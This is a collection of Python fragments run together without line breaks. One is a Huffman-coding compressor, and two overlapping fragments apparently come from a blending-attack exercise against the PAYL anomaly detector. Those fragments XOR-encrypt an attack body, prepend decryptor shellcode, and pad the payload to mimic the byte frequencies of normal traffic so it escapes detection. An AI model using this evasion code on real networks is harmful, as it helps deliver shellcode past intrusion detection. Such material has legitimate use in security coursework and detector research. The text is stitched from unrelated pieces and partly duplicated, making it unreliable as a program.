def encode(filename): file = open(filename, "r") text = file.read() # creating a dictionary to keep the frequency count dict = {} for char in text: if char not in dict: dict[char] = 1 else: dict[char] += 1 # to use heapify we need a list #converting the dict to list list = [] for dict_value in dict: list.append((dict[dict_value], dict_value)) heap = maketree(list) freq = codemap(heap) # print(freq) file2 = open(filename + ".copy", "w+b") string = "" count = 0 for j in text: string += freq[j] string = padding(string) # print string count1 = 0 temp_str = "" array1 = bytearray() for i in string: temp_str += i count1 += 1 if count1 % 8 == 0: # print(temp_str) array1.append(int(temp_str, base=2)) # print (int(temp_str,base=2)) # print array1 temp_str = "" file2.write(array1) str_final = "" for i in list: str_final += str(i[0]) + "," + str(i[1]) + "," file2 = open(filename + ".keys", "w") file2.write(str_final) file2.close()
# For xor operation, should be a multiple of 4 while len( adjusted_attack_body) < 128: # CHECK: 128 can be some other number (greater than and multiple of 4) per your attack trace length adjusted_attack_body.append(chr(0)) # Read in decryptor binary to append at the start of payload with open("shellcode.bin", mode='rb') as file: shellcode_content = file.read() # Prepare byte list for payload b_list = [] for b in shellcode_content: b_list.append(b) # Raw payload will be constructed by encrypted attack body and xor_table raw_payload = b_list + adjusted_attack_body + xor_table while len(raw_payload) < len(artificial_payload): padding(artificial_payload, raw_payload) # Write prepared payload to Output file and test against your PAYL model with open("output", "w") as result_file: result_file.write(''.join(raw_payload)) open('substitution table.txt', 'w') with open("substitution table.txt", "w") as result_file: result_file.write(str(substitution_table)) open('payload.bin', 'w') with open('payload.bin', 'wb') as payload_file: payload_file.write(''.join(adjusted_attack_body + xor_table))
# Prepare byte list for payload b_list = [] for b in shellcode_content: b_list.append(b) print('adjusted attack body',adjusted_attack_body) # Raw payload will be constructed by encrypted attack body and xor_table raw_payload = b_list + adjusted_attack_body + xor_table while len(raw_payload) < len(artificial_payload): #for i in range(0,4): #print('original payload',len(raw_payload)) padding(artificial_payload, raw_payload) #print('new payload',len(raw_payload)) art_freq = frequency(artificial_payload) print('final art freq',art_freq) raw_freq = frequency(raw_payload) print('final raw freq',raw_freq) comp_list = [] for a in raw_freq: if a in art_freq: comp_list.append([a, raw_freq[a],art_freq[a]]) else: comp_list.append([a, raw_freq[a],0]) comp_list = pd.DataFrame(comp_list,columns=['char','raw freq','artificial freq'])